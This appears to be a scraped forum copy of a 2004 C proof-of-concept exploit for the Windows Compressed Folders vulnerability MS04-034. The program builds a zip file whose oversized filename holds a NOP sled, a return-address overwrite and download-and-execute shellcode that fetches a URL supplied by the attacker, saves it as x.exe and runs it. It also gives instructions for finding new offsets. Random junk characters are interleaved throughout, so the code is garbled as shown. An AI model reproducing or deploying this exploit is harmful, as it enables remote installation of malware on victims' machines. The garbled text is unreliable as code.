(MS04-034)Microsoft Windows Vulnerability in Compressed (zipped) Folders

韩冰

/* Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034) 9 X: ]& W! K7 R) }) r; ]: z* * Tested under Windows XP SP0 Spanish/English 7 W _* b) E" ^& G# {# f* X* / M1 w% P0 v' O7 s3 {% H1 o3 k* Original Advisory: http://www.eeye.com/html/research/advisories/AD20041012A.html , F$ m( C' A6 N* Exploit Date: 21/10/2004 * * Tarako - Haxorcitos.com 2004 ! ^; ^% F+ [0 ?9 F5 ?1 `% {* * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION ) {+ E8 }6 Q6 ?% W* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. * & D8 K5 z6 @: M; }$ ?$ O! ~ w* Greetings t #haxorcitos, #dsr and #localhost @efnet 0 |+ y' L# D# y9 X% u3 S* * * How to get new offsets: ( ~' j7 y3 }2 _0 x% \$ P2 h: @) I* 1) attach debugger (i.e ollydbg) to explorer.exe - S8 |; o. O# C' ]7 o* F* 2) open the zip file as a folder and add or move some files to it * 3) search in the explorer.exe memory the shellcode and get the addresses * */ . y, O+ z/ l( c" {9 S" E8 g+ W$ z 6 o: n; U/ {9 }8 Q! L. j#include <stdio.h> #include <windows.h> #pragma pack(1) , O+ k/ B( q) ?/ k! ~* l0 r7 ~#define DATOS "Tarako-Haxorcitos.com" . m+ t7 y- J. D; x - z7 w- J" _( M9 ctypedef struct { DWORD Signature; // PK.. 4 bytes (0x04034B50) WORD VersionNeeded; 1 {0 J8 i8 {* k- j5 rWORD GeneralPurposeFlag; // para el data descriptor y demas WORD CompressionMethod; , M) o3 \7 }3 s U- ]6 \WORD ModFileTime; WORD ModFileDate; $ y; Y4 I4 ^5 h0 YDWORD Crc32; / A! O6 f$ n" D( }. g' m1 T- EDWORD CompressedSize; 0 H( |0 F" ?% M: \DWORD UncompressedSize; WORD FilenameLength; 7 i% N; {: z7 Y" g+ ]% }WORD ExtraFieldLength; // filename (variable size) 3 b2 d& H2 q1 ?! V8 d- s// extra field (variable size) 4 ?- P5 Q; g# c5 v) W4 X}TOPHEADER; , A1 P. A6 o- k" b, f: ]% \ 0 W2 H5 i5 T9 G3 G1 Xtypedef struct { * \9 y; q. E- l, J& K9 K6 H& ADWORD Signature; // PK.. 4 bytes (0x02014B50) ! A% J7 a' k' J; z. XWORD MadeVersion; / L$ B% w# M5 j+ i; q4 J+ cWORD VersionNeeded; WORD GeneralPurposeFlag; // para el data descriptor y demas 3 G% @, o! Y/ Y% ]) P* p/ }: IWORD CompressionMethod; 9 Y! P1 X" C2 LWORD ModFileTime; WORD ModFileDate; DWORD Crc32; DWORD CompressedSize; DWORD UncompressedSize; WORD FilenameLength; WORD ExtraFieldLength; , b; N; D2 u! r# M0 f3 |; vWORD FileCommentLength; 7 ]7 `. E& E; M2 H+ hWORD DiskNumberStart; WORD InternalFileAttributes; DWORD ExternalFileAttributes; DWORD RelativeOffsetOfLocalHeader; ) }3 b. F! x# a4 P. \. }4 }* ]5 O1 o// filename (variable size) // extra field (variable size) % n0 K; I9 Q5 Z& J1 D, b; [// file comment (variable size) ; s* @, B# q1 P) z( h, y3 e, [( Z}MIDDLEHEADER; ! A9 `8 L8 D! \ }% V! xtypedef struct { DWORD Signature; // PK.. 4 bytes (0x06054B50) WORD NumOfThisDisk; WORD NumDisckStartCentralDirectory; WORD NumEntriesCentralDirOnThisDisk; ' W( K) b- l% M, ^; ?7 WWORD TotalNumEntriesCentralDir; DWORD SizeCentralDirectory; 4 Y- u. D8 H. {DWORD OffsetCentraDirRespectStartDiskNum; . `7 h$ h5 |6 u$ F4 Z [" B" e! jWORD ZipCommentLength; & G1 g- A: X6 K9 @. k// zipfile comment (variable size) 0 d" O% r4 l5 y0 a) m6 D4 |}BOTTOMHEADER; 9 |, y0 T' V3 K- @ + B+ ~8 }; s! U1 q& g, |' z: z/* * download shellcode - RaiSe - raise@netsearch-ezine.com */ $ A+ B6 l( Z' m/ \$ vchar shellcode1[] = 1 b$ d6 L& |' ?. I c"\xEB\x5D\x5F\x8B\xF7\x80\x3F" , Z: ? I, k4 d( M' H$ c* w"\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9" / I/ \ Y+ R8 w( I"\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08" [8 k, Y/ D8 m3 y5 o4 E' e; w"\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8" "\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B" ' d9 m( ]5 H. ^) y2 `2 |$ ]" L) d"\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74" & R) I; V y' K$ U3 r( c& N"\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74" "\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B" "\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53" 8 z) `. z4 G1 V1 p"\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78" + g( u0 E0 |* H8 t"\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30" "\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04" "\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66" "\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D" * Q2 i& a @8 t) C"\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0" "\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04" " F6 h# a. P) o+ C. o"\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB" ; c+ R$ c) T4 y, R! W"\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C" ) q* j# r$ l! t( H9 p9 {"\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8" "\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52" 5 k) _# ]1 b2 g" _"\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1" "\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC" "\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0" "\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B" 8 y. `) R6 h; m3 G"\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF" 8 s+ E1 F( C0 \' F"\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69" "\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49" 1 M1 v3 n" m$ a0 z5 o"\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F" "\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61" "\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78" "\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72" 2 y7 s( A( F- i, x9 B& x"\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65" "\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69" "\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64" "\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08"; char shellcode2[] ="\x08\x01"; char offset[]="\x41\x41\x41\x41"; char jmpbelow[]= "\xeb\x06\x90\x90"; 8 Q: `. Q D8 M/ [ z/ w int main(int argc,char *argv[]) { ; Z+ E$ F2 M/ S. _ FILE *ZipFile; 5 E/ f, Q# S: c+ K( b0 [( N' CTOPHEADER *Cabecera1; MIDDLEHEADER *Cabecera2; H4 j2 ]5 [( s) I# a0 MBOTTOMHEADER *Cabecera3; ! N+ p( a1 }6 dDWORD c; UINT i; / X1 Y9 p$ [1 ?+ _. k# Hchar *filename; " f# z, M: a M( E8 T4 e% kchar *url; printf("\n MS04-034 - Vulnerability in Compressed (zipped) Folders POC"); & @6 \9 d2 M" Z: D. B Lprintf("\n Tarako - Tarako[AT]Haxorcitos.com\n"); 8 h$ T4 k% ]. V. _4 {if (argc!=2) { . O, a* m2 q7 ]( z* y( pprintf("\n\n Usage: %s <URL> \n",argv[0]); exit(1); K6 p! \/ I, R9 d( I} # |7 t4 p7 J- e- |! d" ?6 a 0 N5 g1 N! K! R8 S' `% Gurl=argv[1]; printf("\n * URL: %s",url); V; S4 W9 p* n/ a8 i9 j if (!(ZipFile=fopen("prueba.zip","w+b"))) { 1 t4 h9 w5 f4 ~+ p- _3 h' Fprintf("\n [E] fopen()"); exit(1); 8 m4 M6 a- l9 z, b$ a. _0 c} ; o) S- t' ~* d0 G. l+ T/ z/ n * E7 c7 D: |- p3 vc=0x8000; // filename length filename=(char*)malloc(sizeof(char)*c); 8 c9 |0 ^' ~4 b3 `8 rmemset(filename,0,sizeof(filename)); : e2 C4 @0 ]. X for( i=0x0;i<c;i++) filename=(BYTE)0x90; # F. g9 t7 U6 @0 d: p& ]/ v2 u memcpy(filename+0x1814,jmpbelow,strlen(jmpbelow)); f7 \! E/ ]( s, Xmemcpy(filename+0x1818,offset,strlen(offset)); % e* E% ?1 h8 |/ S# d memcpy(filename+0x7000,shellcode1,sizeof(shellcode1)-1); memcpy(filename+0x7000+sizeof(shellcode1)-1,url,strlen(url)); & H- T) u0 E7 N B$ ]memcpy(filename+0x7000+sizeof(shellcode1)+strlen(url)-1,shellcode2,sizeof(shellcode2)-1); 5 a x- {2 I" O7 f+ P. b8 Fmemcpy(filename+(c-4),".txt",4); Cabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER)); Cabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER)); : p7 I# `9 c' L- x6 rCabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER)); 3 Y. [7 w- Y9 `4 tmemset(Cabecera1,0,sizeof(TOPHEADER)); ' I6 p5 F2 B ?" a: C1 o% |memset(Cabecera2,0,sizeof(MIDDLEHEADER)); - C; s( n p: _) X* Gmemset(Cabecera3,0,sizeof(BOTTOMHEADER)); $ H) j! e+ } ^# m9 o% F4 a /////////////////////////////////////////////////////////////////// // TOPHEADER /////////////////////////////////////////////////////////////////// : ~: I4 R& b- w M3 SCabecera1->Signature=0x04034B50; // DWORD Cabecera1->VersionNeeded=0x000A; // WORD " i N4 Z6 a/ C9 q! |6 LCabecera1->GeneralPurposeFlag=0x0002; // WORD para el data descriptor y demas " ?) {8 z4 t$ U0 ACabecera1->CompressionMethod=0x0000; // WORD ' D7 o1 h, q! DCabecera1->ModFileTime=0x1362; // WORD 6 N/ A5 O% C8 w) PCabecera1->ModFileDate=0x3154; // WORD Cabecera1->Crc32=0x85B36639; // DWORD Cabecera1->CompressedSize=0x00000015; // DWORD ; u; l' F5 u& FCabecera1->UncompressedSize=0x00000015; // DWORD E9 N$ d* {, `Cabecera1->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); ; l, j" c- w5 }; C/ E C+ JCabecera1->ExtraFieldLength=0x0000; // WORD $ f0 v8 `& |7 ?7 |, M- T0 D/////////////////////////////////////////////////////////////////// : ^* k% k2 l( F/////////////////////////////////////////////////////////////////// // MIDDLEHEADER 5 q# V) r$ u1 l1 b6 f1 s) u( {2 b* |/////////////////////////////////////////////////////////////////// ! z9 b9 l3 Y; G: S( ^% G! wCabecera2->Signature=0x02014B50; // DWORD + ^1 b) ?3 B5 P3 D+ C2 [$ I8 BCabecera2->MadeVersion=0x0014; // WORD 6 V* M& Z) Y# h( m9 X& u* tCabecera2->VersionNeeded=0x000A; // WORD Cabecera2->GeneralPurposeFlag=0x0002; // WORD Cabecera2->CompressionMethod=0x0000; // WORD Cabecera2->ModFileTime=0x1362; // WORD 0 _! M7 W7 H$ ]Cabecera2->ModFileDate=0x3154; // WORD Cabecera2->Crc32=0x85B36639; // DWORD Cabecera2->CompressedSize=0x00000015; // DWORD Cabecera2->UncompressedSize=0x00000015; // DWORD Cabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); 7 E' Q, N, q$ hCabecera2->ExtraFieldLength=0x0000; // WORD Cabecera2->FileCommentLength=0x0000; // WORD 7 Y$ N' o, v0 jCabecera2->DiskNumberStart=0x0000; // WORD Cabecera2->InternalFileAttributes=0x0001; // WORD 4 `* S1 l' t3 S/ FCabecera2->ExternalFileAttributes=0x00000020; // DWORD 1 Q( Z/ {% e3 y" }. u; b& WCabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD /////////////////////////////////////////////////////////////////// E3 ~: `/ y8 M4 u- @ /////////////////////////////////////////////////////////////////// // BOTTOMHEADER /////////////////////////////////////////////////////////////////// 6 a+ |0 w5 v) e! d) wCabecera3->Signature=0x06054B50; // DWORD 7 a7 F2 w* {$ M4 R. i" `9 L! nCabecera3->NumOfThisDisk=0x0000; // WORD * |. Y1 `/ X1 X+ e8 u# WCabecera3->NumDisckStartCentralDirectory=0x0000; // WORD Cabecera3->NumEntriesCentralDirOnThisDisk=0x0001; // WORD % p0 y( j6 \* A; }9 oCabecera3->TotalNumEntriesCentralDir=0x0001; // WORD Cabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c; // DWORD Cabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c; // DWORD Cabecera3->ZipCommentLength=0x0000; // WORD ( f( {# S9 M( H/ K5 k* r; q/////////////////////////////////////////////////////////////////// # Z4 T& }/ X% m8 efwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile); fwrite(filename, c, 1,ZipFile); fwrite(DATOS,strlen(DATOS),1,ZipFile); & o) E6 n" z2 M) V, `" kfwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile); 5 B( }- z) d8 l P2 X4 ^fwrite(filename, c, 1,ZipFile); fwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile); fclose(ZipFile); 8 B: l. D, B% `# v+ i8 H2 i2 ^4 s3 zprintf("\n * prueba.zip created\n"); }* u( e& u; V z7 L2 Wreturn 1; }//downloaded from milw0rm.com * e& F) }1 v8 b$ t